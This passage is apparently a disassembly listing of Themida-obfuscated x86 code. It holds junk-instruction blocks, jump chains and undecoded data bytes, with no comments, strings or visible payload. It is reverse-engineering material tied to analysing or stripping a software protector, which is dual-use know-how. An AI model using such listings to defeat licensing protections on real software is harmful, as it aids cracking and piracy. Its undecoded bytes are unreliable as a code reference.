		dd 8900002Eh, 0EC812414h, 4, 0BB241C89h, 1D2AF7EFh, 0E9535057h
		dd 0FFFFF3C4h
; ---------------------------------------------------------------------------

loc_559E4C:				; CODE XREF: Themida_:00559876j
		push	edi
		mov	edi, 396A2Dh
		jmp	loc_554584
; ---------------------------------------------------------------------------
		db 0F6h
		dd 2C280D2h, 8FDB551h, 2434FFEAh, 83240C8Bh, 0C48304C4h
		dd 0CF3E904h, 34FF0000h, 2434FF24h, 0FFD93DE9h,	24048BFFh
		dd 4EC8352h, 24048F54h,	4BA52h,	54010000h, 0E95A0424h
		dd 0FFFFE161h, 0E959CB00h, 0FFFF7DA4h, 4A5DEA01h, 1A7E281h
		dd 0B8506B73h, 0E0B57548h, 2EE9C201h, 58000015h, 815EF101h
		dd 4E9h, 240C8700h, 0FFC98BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559EC9:				; CODE XREF: Themida_:00554BABj
		mov	ebp, ebx
		pop	ebx
		sub	[edi+24h], ebp
		pop	ebp

loc_559ED0:				; CODE XREF: Themida_:0055324Aj
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, ebx
		push	ebp
		add	dword ptr [esp], 2557758Fh
		pop	edx
		sub	edx, 2557758Fh
		pop	ebp
		push	edx
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_556689
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	43304C0h, 24043124h, 5C240433h
		dd 4B850h, 0C5E90000h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559F27:				; CODE XREF: Themida_:0055B22Dj
		sub	esp, 4
		jmp	loc_55B896
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4ECh, 240C8900h, 0D8E918B1h,	5FFFFFD9h, 4C381h, 1C870000h
		dd 0AFAFE924h, 895CFFFFh, 70E92424h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559F5B:				; CODE XREF: Themida_:005526CDj
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	eax
		push	esi
		mov	esi, 0BC427BCh
		mov	eax, 25BB0A68h
		sub	eax, 2B621131h
		not	eax
		jmp	loc_552ADC
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 24D36624h, 0CDE99C24h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559F9B:				; CODE XREF: Themida_:00553C56j
		push	ecx
		push	esi
		push	7C517199h
		mov	esi, [esp]
		add	esp, 4
		inc	esi
		not	esi
		xor	esi, 0C6AD9160h
		mov	ecx, esi
		pop	esi
		add	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 16410E41h
		jmp	loc_558159
; ---------------------------------------------------------------------------
		dw 60B2h
		dd 0C0D9F280h, 0CAFE07EAh, 37E9CAFEh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_559FD3:				; CODE XREF: Themida_:005538DEj
		or	esi, 6E12566Dh
		sub	esi, 0FD53D639h
		sub	ebx, 0C6369FDh
		sub	ebx, esi
		add	ebx, 0C6369FDh
		pop	esi
		jmp	loc_552FE6
; ---------------------------------------------------------------------------
		db 87h
		dd 0C5E9243Ch, 50FFFFB2h, 0E92414F7h, 0FFFFB3F8h, 0F702E2C1h
		dd 70CA81DAh, 8113D611h, 0BCABA9EAh, 8CA8E98Ch,	3C89FFFFh
		dd 815F5424h, 4C7h, 0B8505100h,	21693B72h, 9C35D0F7h, 0E96BA23Bh
		dd 0FFFF92CFh, 1C472158h, 0FFDD25E9h, 5BDD21FFh, 8904EC83h
		dd 7DBB241Ch, 0E9630A26h, 0FFFF8FBEh
; ---------------------------------------------------------------------------

loc_55A054:				; CODE XREF: Themida_:00553B3Cj
		add	edi, 0F3FA89B3h
		and	ecx, edi
		pop	edi
		add	ecx, 0FBFC03E8h
		and	eax, ecx
		jmp	loc_552258
; ---------------------------------------------------------------------------

loc_55A06A:				; CODE XREF: Themida_:005561CEj
		mov	edi, 4A56196h
		or	edx, edi
		pop	edi
		or	edx, 6E796A60h
		xor	edx, 0E9CFC52Bh
		sub	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_557D9F
; ---------------------------------------------------------------------------
		db 88h
		dd 7FE95BF8h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A09F:				; CODE XREF: Themida_:00559590j
		pop	edx
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 42515596h
		add	eax, edi
		jmp	loc_5565B0
; ---------------------------------------------------------------------------
		db 89h
		dd 0B268240Ch, 593E4F06h, 761EF181h, 16E95A50h,	68FFFF7Bh
		dd 3610h, 51242489h, 2D40E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A0D9:				; CODE XREF: Themida_:00556AEDj
		sub	ebp, esi
		push	esi
		push	ebp
		pop	esi
		mov	ebp, [esp]
		push	ebp
		jmp	loc_556F10
; ---------------------------------------------------------------------------
		db 4Ah
		dd 6CE9D2F7h, 1FFFF82h,	0E9575DEAh, 0FFFFAD01h,	4C48359h
		dd 64E9F501h, 4AFFFFCBh, 0EA31D2F7h, 0EA31D531h, 2414F755h
		dd 81EA875Dh, 0C63E82EAh, 1B286800h, 5DE90000h,	0FFFFFF8Fh
		dd 0CDE92434h, 81FFFFDFh, 5F115C6h, 8BF02903h, 0C4832434h
		dd 0B440504h, 0C8B61E8h, 9CB6E924h, 1DE9FFFFh, 58FFFF72h
		dd 0C0D3F280h, 0EA8005E2h, 11C2804Bh, 0C280CAFEh, 0A2C28001h
		dd 34FFD028h, 0C4815A24h, 4, 51D5B652h,	0ED80A0B5h, 59EE081Fh
		dd 0A7E9D6F6h, 52FFFFC7h, 0B450C5B6h, 0E9E63018h, 0FFFFBE5Ch
; ---------------------------------------------------------------------------

loc_55A18C:				; CODE XREF: Themida_:00553767j
		add	esp, 4
		jmp	loc_55693F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0B4E9243Ch, 58FFFFEBh, 0F607EDC0h, 0B8E952DDh, 66FFFFB8h
		dd 83240C8Bh, 3C8904ECh, 0E95F5424h, 2983h
; ---------------------------------------------------------------------------

loc_55A1BC:				; CODE XREF: Themida_:00559D06j
		mov	[esp], edi
		mov	edi, 415E383Fh
		jmp	loc_553E62
; ---------------------------------------------------------------------------

loc_55A1C9:				; CODE XREF: Themida_:00555FF7j
		add	esp, 2
		push	bx
		push	eax
		mov	al, 5Ah
		add	al, 0FFh
		push	cx
		mov	ch, 15h
		xor	al, ch
		jmp	loc_55BB55
; ---------------------------------------------------------------------------

loc_55A1DE:				; CODE XREF: Themida_:0055526Aj
		mov	[esp], edi
		push	3EC82798h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_554E93
; ---------------------------------------------------------------------------
		db 0D0h, 0E9h, 0FEh
		dd 39F180C9h, 8059CE30h, 0F02870EEh, 0C5B3535Ah, 0FFE854E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A209:				; CODE XREF: Themida_:00558905j
		mov	eax, 1
		push	ecx
		mov	ecx, 24h
		sub	ecx, 777316F6h
		add	ecx, edi
		add	ecx, 777316F6h
		jmp	loc_554BB0
; ---------------------------------------------------------------------------

loc_55A227:				; CODE XREF: Themida_:0055306Dj
		add	esp, 4
		or	eax, eax
		jz	loc_5555EE
		push	ecx
		mov	ecx, 28h
		add	ecx, 275D6901h
		push	ebp
		jmp	loc_553B8E
; ---------------------------------------------------------------------------

loc_55A247:				; CODE XREF: Themida_:005578F4j
		add	ebp, esi
		pop	esi
		jmp	loc_553063
; ---------------------------------------------------------------------------
a_s		db '_Иэ(',0
		db 0
; ---------------------------------------------------------------------------

loc_55A255:				; CODE XREF: Themida_:00552332j
					; Themida_:0055D4A8j
		push	ebx
		push	edi
		push	5671h
		mov	[esp], ebx
		jmp	loc_55B37A
; ---------------------------------------------------------------------------

loc_55A264:				; CODE XREF: Themida_:00558E43j
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 0E9h
		dd 0FFFFB64Dh, 8B24048Fh, 0F662424h, 196800B6h,	89000058h
		dd 89572404h, 4C781E7h,	0E9000000h, 0FFFFB3B7h,	4E6C159h
		dd 0FFE54FE9h, 0BBFFh, 0EB290000h, 4D5BDD89h, 0C56BF581h
		dd 0EA29F428h, 39BD555Dh, 0E9351F02h, 0FFFFE85Bh, 81242C8Bh
		dd 4C4h, 2BB5300h, 0E9000000h, 0FFFFDB16h, 9D1C77FFh, 1CD25966h
		dd 8DE99C24h, 68FFFF70h, 682Ch,	0BF243C89h, 0FBA31DEEh
		dd 515FFE01h, 0C889F189h, 0C2315E59h, 0E9D32958h, 0FFFFC591h
		dd 8124148Bh, 4C4h, 0E9CE8900h,	0FFFFFF84h, 2CBAh, 79EA8100h
		dd 0E961BD07h, 186h, 0C7116E35h, 0E9C30197h, 2EF6h, 50243489h
		dd 1142CA68h, 0BD55585Ah, 0A5EEBD38h, 0FF9C36E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A33D:				; CODE XREF: Themida_:0055C8F8j
		mov	ebx, 69DC1789h
		mov	edi, 9623E876h
		add	edi, ebx
		pop	ebx
		push	edi
		push	ebx
		mov	ebx, 7EC6338h
		sub	[esp+4], ebx
		jmp	loc_553B76
; ---------------------------------------------------------------------------
		dw 77FFh
aHbu		db '<hbu',0
		align 2
		dw 2C89h
		dd 3F84BD24h, 6C313204h, 2C8B0424h, 64EF6824h, 3C890000h
		dd 50E78924h, 0B438B3B8h, 9641E926h, 0E689FFFFh, 4C681h
		dd 0BD550000h, 5A3B5BBFh, 1466CD81h, 0ED8120FCh, 7AFF5FFBh
		dd 0BEE9EE01h, 87FFFFB3h, 0A8F581CDh, 179FD7Bh,	0EA815DEAh
		dd 4, 2474FF52h, 48F5A04h, 24248B24h, 50241489h, 6F9AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A3CE:				; CODE XREF: Themida_:005567DFj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_555A05
; ---------------------------------------------------------------------------
		db 83h
		dd 43304C4h, 24043124h,	0FFF5DCE9h, 0D830ACFFh,	7FB65266h
		dd 0FFA917E9h, 2DD801FFh, 31C7373h, 4EC815Bh, 0E9000000h
		dd 0FFFF99B7h, 240C8966h, 61FEB966h, 1C38166h, 0CB016672h
		dd 1EB8166h, 0F596672h,	6866C0B7h, 89665CEFh, 3DE92404h
		dd 1FFFF6Fh, 34875AD6h,	24248B24h, 24048B66h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 0D6E92434h, 89FFFF73h, 0D1015FF9h
		dd 8B590103h, 80E92414h, 81FFFF98h, 4ECh, 24348900h, 8904EC83h
		dd 4812424h, 424h, 2434FF00h, 0EBF5E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A47E:				; CODE XREF: Themida_:0055486Dj
		mov	ebx, 5D0B5530h
		jmp	loc_555013
; ---------------------------------------------------------------------------

loc_55A488:				; CODE XREF: Themida_:00552729j
		sub	eax, 9ECE1247h
		jmp	loc_559280
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 240C8B24h, 0EAE6E950h, 0FA01FFFFh, 281EB951h
		dd 0E9553262h, 2C3h
; ---------------------------------------------------------------------------

loc_55A4B0:				; CODE XREF: Themida_:005566BFj
		or	ch, 0A6h
		shl	ch, 4
		sub	ch, 0D1h
		jmp	loc_5591C3
; ---------------------------------------------------------------------------

loc_55A4BE:				; CODE XREF: Themida_:0055A726j
		sub	esp, 4
		jmp	loc_55656D
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 8027E7EFh, 0EC835D7Ah, 241C8904h, 0FF72A6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A4DD:				; CODE XREF: Themida_:00551997j
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55BFEB
; ---------------------------------------------------------------------------
aZV		db '┤мV╬',0
		align 4
		dd 0F187CE29h, 81CD875Eh, 226086EDh, 0C483E968h, 0C280FFFFh
		dd 5AD3003Dh, 0B7535166h, 0B89EE9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A51A:				; CODE XREF: Themida_:00554AF6j
		pop	edx
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	3625h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5537FD
; ---------------------------------------------------------------------------

loc_55A535:				; CODE XREF: Themida_:00554F7Cj
		inc	esi
		jmp	loc_55B3AF
; ---------------------------------------------------------------------------
		db 5Dh
		dd 31240C33h, 66E9240Ch, 0FF000005h, 34FF2434h,	9FBEE924h
		dd 8166FFFFh, 666F8DF5h, 66387405h, 2D66E829h, 5CE93874h
		dd 0F7FFFFAAh, 77AAE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A56E:				; CODE XREF: Themida_:0055770Ej
		mov	[esp], esi
		jmp	loc_55916A
; ---------------------------------------------------------------------------

loc_55A576:				; CODE XREF: Themida_:0055BCC5j
		mov	ebp, [esp]
		add	esp, 4
		push	7999h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		jmp	loc_552556
; ---------------------------------------------------------------------------
		db 58h,	56h, 0BEh
		dd 4, 348BF201h, 4C48124h, 87000000h, 0FF5C2414h, 148B2434h
		dd 0CFE95624h, 0FFFFFFFDh, 59042474h, 8B24048Fh, 4FE2424h
		dd 9DE99C24h, 0B8FFFF6Dh, 0BD75FA6h, 0CC3C381h,	0E8E95215h
		dd 50FFFF97h, 405E089h,	2D000000h, 4, 5C240487h, 89240C89h
		dd 4BD55E1h, 1000000h, 2434FFE9h, 0D818E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A602:				; CODE XREF: Themida_:0055ADE7j
		sub	ebx, 64BA68E7h
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	7C18h
		mov	[esp], esi
		mov	esi, 0EC6104Ch
		jmp	loc_55C184
; ---------------------------------------------------------------------------
		dd 0C8BEB00h, 4C48324h,	0FFC0B60Fh, 34FF8734h, 35685824h
		dd 8900002Eh, 0E0892404h, 4BD55h, 91050000h, 1559678h
		dd 0CBBE56E8h, 8156495Bh, 842860EEh, 2DE95013h,	8BFFFFE0h
		dd 0C4812404h, 4, 0FFB3E5E9h, 0DE958FFh, 83FFFF81h, 2C8904ECh
		dd 72C1BD24h, 8FE91B06h, 0FFFFFFB6h, 669D1C77h,	4196658h
		dd 0D5E99C24h, 88FFFF6Ch, 5A665BFCh, 884EC480h,	4C0458E7h
		dd 0B7E9E22Ch, 81FFFF79h, 267958EEh, 0AFCCE93Bh, 0E089FFFFh
		dd 405h, 4E88300h, 0E9240487h, 0FFFF746Ch
; ---------------------------------------------------------------------------

loc_55A6C4:				; CODE XREF: Themida_:0055B722j
		div	cx
		push	2018h
		jmp	loc_555741
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 592434FFh, 56E38953h, 6F2C0FBEh, 0F6AE954h, 4870000h
		dd 0C895C24h, 2EC8324h,	2241E9h, 0C3015800h, 812E9h, 4C48300h
		dd 2C8BE901h, 99C5E924h, 489FFFFh, 0BBE95424h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A713:				; CODE XREF: Themida_:0055234Dj
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_55A4BE
; ---------------------------------------------------------------------------

loc_55A72B:				; CODE XREF: Themida_:00552BA3j
		push	1
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ebx
		jmp	loc_55C502
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0CDh
		dd 77EA203Dh, 8B8504Dh,	2922A2E5h, 0E101E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A752:				; CODE XREF: Themida_:00559C20j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_55A9D1
; ---------------------------------------------------------------------------
		db 0BDh
		dd 53DF2F67h, 82E9E931h, 56000005h, 0BD699FBEh,	3EEC140h
		dd 0F706E6C1h, 0FAF681DEh, 81653E61h, 0DC8246EEh, 0E9F7293Ah
		dd 11B9h, 4C481h, 0FF500000h, 0E9042474h, 2C7Bh, 6804C483h
		dd 7699h, 0BA241489h, 4, 0FF999BE9h, 4C483FFh, 0FF6B9BE9h
		dd 4965BFFFh, 43E937DEh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A7D7:				; CODE XREF: Themida_:0055BD6Aj
		add	esi, ebx
		add	esi, 6A1C014Ch
		pop	ebx
		add	esi, 2
		sub	esp, 4
		jmp	loc_55187F
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 5Eh
		dd 5F2434FFh, 4C481h, 0C3E90000h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A803:				; CODE XREF: Themida_:0055255Dj
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_5547E6
; ---------------------------------------------------------------------------
		dd 0B25264B3h, 41EA803Fh, 0FFDCD0E9h, 44C681FFh, 81247C35h
		dd 14407EEEh, 0E9F0297Bh, 0FFFF9550h, 4C681h, 34870000h
		dd 0C6815C24h, 4, 7514BF57h, 0A6E9254Fh, 8B00002Ah, 8B662424h
		dd 0EC832404h, 24048904h, 28E768h, 24248900h, 4240481h
		dd 58000000h, 8904EC83h, 468241Ch, 5B000000h, 655F68h
		dd 242C8900h, 0FFBAFFE9h, 242C8BFFh, 104C483h, 24348BF0h
		dd 3104C483h, 4EC83C3h,	0CA5E9h, 240C8900h, 0BE56E189h
		dd 1E1602B7h, 3AF8F681h, 0E6C122AFh, 4EC8307h, 1935E9h
		dd 47BD5500h, 687E4F70h, 32B8h,	52242C89h, 0D2F75A5Dh
		dd 187668h, 242C8900h, 57E95D52h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A8D3:				; CODE XREF: Themida_:0055C918j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55192C
; ---------------------------------------------------------------------------
		dd 0F23D6BBFh, 0D2EF8107h, 297A4B34h, 0D2BD55F7h, 17A4B34h
		dd 815E5DEFh, 3E4DAAC2h, 0E9FA0153h, 2EEh, 15FFE01h, 0C703E9CEh
		dd 0CA88FFFFh, 0FFAE6DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A919:				; CODE XREF: Themida_:005586CAj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_554DEB
; ---------------------------------------------------------------------------
		dd 0A9E9EE89h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A92B:				; CODE XREF: Themida_:0055D023j
		pop	eax
		sub	ebx, 4BBC2BCAh
		sub	ebx, esi
		add	ebx, 4BBC2BCAh
		jmp	loc_55562A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 6A805233h, 0FF8BDEE9h, 0EC815FFFh, 4, 0FF242C89h, 8B042474h
		dd 0C6E9242Ch
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A95F:				; CODE XREF: Themida_:00551CD6j
		push	ebx
		push	7225h
		mov	[esp], ecx
		push	esi
		push	5F4F7E76h
		pop	esi
		sub	esi, 57053E3Eh
		not	esi
		or	esi, 77D82241h
		jmp	loc_55CE81
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6852240Ch, 5161h, 81242489h,	42404h,	148B0000h, 69E95024h
		dd 52FFFFF5h, 0BF3E5FBAh, 5AD0015Ch, 5057D829h,	0D62D03B8h
		dd 7E8C16Fh, 0DF920505h, 0CFC9E95Bh, 77FFFFFFh,	69A2E940h
		dd 0C483FFFFh, 4C48304h, 0FF6997E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A9D1:				; CODE XREF: Themida_:0055A76Ej
		pop	esi
		jmp	loc_5599F8
; ---------------------------------------------------------------------------
		db 89h
		dd 0E4B9240Ch, 810A3221h, 0AB195AC1h, 0A6E98149h, 293AF207h
		dd 895F59CEh, 0C8215EF1h, 0E92434FFh, 0FFFFB6ECh
; ---------------------------------------------------------------------------

loc_55A9FC:				; CODE XREF: Themida_:00558732j
		pop	esp
		mov	[esp], ebx
		jmp	loc_55B053
; ---------------------------------------------------------------------------

loc_55AA05:				; CODE XREF: Themida_:0055890Cj
		push	edx
		jmp	loc_55BFAC
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8158C789h, 11472BEEh, 0E9FE0117h, 0FFFFB012h, 240C8B66h
		dd 7D4E6851h, 24890000h, 4BB5324h, 0E9000000h, 0FFFFE860h
		dd 2E9815Fh, 0E9014815h, 0FFFFB494h, 0E6895658h, 3161BA52h
		dd 0E2C17AD8h, 72126804h, 3C890000h, 4FB4BF24h,	0EFC10F5Fh
		dd 0FFC78108h, 81FFFFFFh, 0CC22CBEFh, 6E7C10Eh,	0EF81D7F7h
		dd 1ADC933h, 0FFB9AFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AA79:				; CODE XREF: Themida_:00558D4Ej
		pop	esp
		push	edi
		mov	edi, 6D7D6523h
		jmp	loc_5529CF
; ---------------------------------------------------------------------------
		db 32h,	1Ch, 24h
		dd 66241C30h, 88CA8852h, 0E9D388D9h, 0FFFFAE92h, 0A4B6525Bh
		dd 305AF130h, 2434FFC8h, 4C48359h, 1D0E9h, 240C3300h, 2404D35Ch
		dd 8BE5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AABA:				; CODE XREF: Themida_:0055157Ej
		add	ecx, 6596688Eh
		and	esi, ecx
		pop	ecx
		push	0F40h
		mov	[esp], edi
		mov	edi, 1
		sub	esi, edi
		pop	edi
		jmp	loc_55C72E
; ---------------------------------------------------------------------------

loc_55AAD8:				; CODE XREF: Themida_:0055CF32j
		pop	esp
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		xchg	eax, edx
		push	ecx
		jmp	loc_55C35A
; ---------------------------------------------------------------------------

loc_55AAE6:				; CODE XREF: Themida_:0055415Bj
		pop	esi
		add	ebx, eax
		jmp	loc_558A9D
; ---------------------------------------------------------------------------
		dw 295Ch
		dd 2434FFC8h, 0E3EEE959h, 8B66FFFFh, 0EC812404h, 4, 89241489h
		dd 7E42E9E2h, 0DFF7FFFFh, 71A1F781h, 0F7813214h, 70DD2F07h
		dd 0C15FFE21h, 0CE8105E6h, 45E2536Ch, 5A5E9h
		db 0
; ---------------------------------------------------------------------------

loc_55AB2D:				; CODE XREF: Themida_:00554425j
		mov	eax, 7E256427h
		jmp	loc_552724
; ---------------------------------------------------------------------------
		db 51h
		dd 668E9h, 9EBB5300h, 8119DA63h, 3E2F40E3h, 8E3C13Eh, 2401C381h
		dd 0D9094A9Ah, 0DEBCE95Bh, 0C083FFFFh, 24048704h, 0FF81A6E9h
		dd 51D2F6FFh, 11E9FFB5h, 81FFFFEBh, 4C4h, 9BF5700h, 0E9774C0Ch
		dd 0FFFFEBECh, 6F184AB9h, 246C816Bh, 855C5C08h,	24448112h
		dd 635FF208h, 244C2930h, 246C8108h, 635FF208h, 0B0FDE930h
		dd 0ED81FFFFh, 0E02A0CACh, 1047EA81h, 0EA0134E0h, 1047C281h
		dd 2C8B34E0h, 0B56FE924h, 2540FFFFh, 0E26548Eh,	0FFC32FE9h
		dd 2E7C1FFh, 0FFE105E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ABD5:				; CODE XREF: Themida_:0055AC12j
		or	ch, al
		pop	eax
		not	ch
		push	ebx
		mov	bl, 7
		add	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_554A33
; ---------------------------------------------------------------------------

loc_55ABEA:				; CODE XREF: Themida_:00559C5Fj
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_55BE0F
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 533E4DAAh, 2C2835Fh,	7C368h,	0B402E900h, 0E95DFFFFh
		dd 0FFFF6BDDh
; ---------------------------------------------------------------------------

loc_55AC10:				; CODE XREF: Themida_:00553C5Cj
		mov	al, 0CDh
		jmp	loc_55ABD5
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24248900h, 5DE95257h, 87FFFFD9h, 0E95C2414h, 0FFFF6EE8h
; ---------------------------------------------------------------------------

loc_55AC30:				; CODE XREF: Themida_:00559D1Fj
		push	edi
		mov	edi, 2ABE7853h
		push	ebp
		mov	ebp, 7AAB37C5h
		sub	ebp, 5CF7594Bh
		jmp	loc_556789
; ---------------------------------------------------------------------------

loc_55AC47:				; CODE XREF: Themida_:0055466Dj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_55C92B
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C241C87h, 0FFCE87E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AC65:				; CODE XREF: Themida_:005552E1j
		pop	esp
		and	eax, edx
		jmp	loc_55B300
; ---------------------------------------------------------------------------
		db 5Eh,	2Dh, 6Ch
		dd 356A054Ah, 0F4B25D17h, 0FF8E2EE9h, 553068FFh, 4890000h
		dd 52D0B024h, 0E951E1B6h, 0FFFFB498h, 628EC781h, 0CF010AC3h
		dd 5ADE955h, 4050000h, 83000000h, 48704C0h, 0B7535C24h
		dd 0FEDFF6A2h, 9536E9C7h, 0D001FFFFh, 9A5EE95Ah, 0F681FFFFh
		dd 3CA09D1Fh, 555EF101h, 0FFA10CE9h, 7768ACFFh,	89000078h
		dd 9F682414h, 8900007Fh, 18E9240Ch
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55ACE3:				; CODE XREF: Themida_:0055B46Fj
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		sub	ebx, 0F91E5EA7h
		mov	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 58002214h
		xor	edi, 8214AB5h
		jmp	loc_552442
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0CAh
		dd 8B2434FFh, 0C481240Ch, 4, 8304C483h,	0C8904ECh, 0BF5724h
		dd 0E9000000h, 0FFFFF72Bh, 4C481h, 0F2E90000h, 0FFFFFFB7h
		dd 34FF2434h, 89565824h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 0FF8C2AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AD4D:				; CODE XREF: Themida_:0055B288j
		push	1B65h
		mov	[esp], ebp
		push	edx
		mov	edx, 59D56599h
		add	edx, 50536BF6h
		and	edx, 0C3C5A1Bh
		shr	edx, 3
		add	edx, 3C426E9h
		jmp	loc_55D23E
; ---------------------------------------------------------------------------

loc_55AD75:				; CODE XREF: Themida_:0055B899j
		push	22ECh
		mov	[esp], edi
		mov	edi, 1F7F2BFBh
		or	edi, 21566958h
		inc	edi
		shr	edi, 8
		not	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3F7F6Dh
		add	edi, esi
		pop	esi
		mov	ecx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_556FFA
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4BE56h, 0F7010000h, 243C875Eh, 8BF3895Ch,	0E9502434h
		dd 0FFFFED9Dh, 0BA52E089h, 4, 0FFFEE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ADD5:				; CODE XREF: Themida_:0055D239j
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		add	ebx, 64BA68E7h
		add	ebx, edx
		jmp	loc_55A602
; ---------------------------------------------------------------------------

loc_55ADEC:				; CODE XREF: Themida_:005579DAj
		push	edx
		mov	edx, esp
		push	esi
		push	ebp
		mov	ebp, 31577FE9h
		xor	ebp, 4C24422Dh
		neg	ebp
		shr	ebp, 5
		or	ebp, 33F8007Ch
		sub	ebp, 28BA0ABBh
		sub	ebp, 0F425BBEh
		mov	esi, ebp
		jmp	loc_55C23F
; ---------------------------------------------------------------------------
		dw 1489h
		dd 53E28924h, 4BBh, 5BDA0100h, 423568h,	243C8900h, 2BFh
		dd 0E264E900h, 2C89FFFFh, 52CCBD24h, 0E831532Bh, 0FF81BCE9h
		dd 89E95BFFh, 0B9000007h, 405A702Fh, 8FD5C181h,	0CA01BFA5h
		dd 4EA8159h, 87000000h,	248B2414h, 0E745E924h, 5E54FFFFh
		dd 4BD55h, 0EE010000h, 4EE835Dh, 31243433h, 34332434h
		dd 24248B24h, 89240489h, 4BB53E0h, 1000000h, 2055BD8h
		dd 33000000h, 4312404h,	24043324h, 824248Bh, 0E99C2404h
		dd 0FFFF64B8h, 800EB753h, 0E7C0D4F7h, 0A3C78004h, 285BF828h
		dd 664304D8h, 665B665Bh, 8048B252h, 0D30043C3h,	0E943EB80h
		dd 0FFFFB986h
; ---------------------------------------------------------------------------

loc_55AED8:				; CODE XREF: Themida_:0055731Fj
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		push	esi
		jmp	loc_55314B
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 35ADBA52h, 0D6893A7Dh, 0F77DE95Ah, 0C8BFFFFh, 0FAC8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

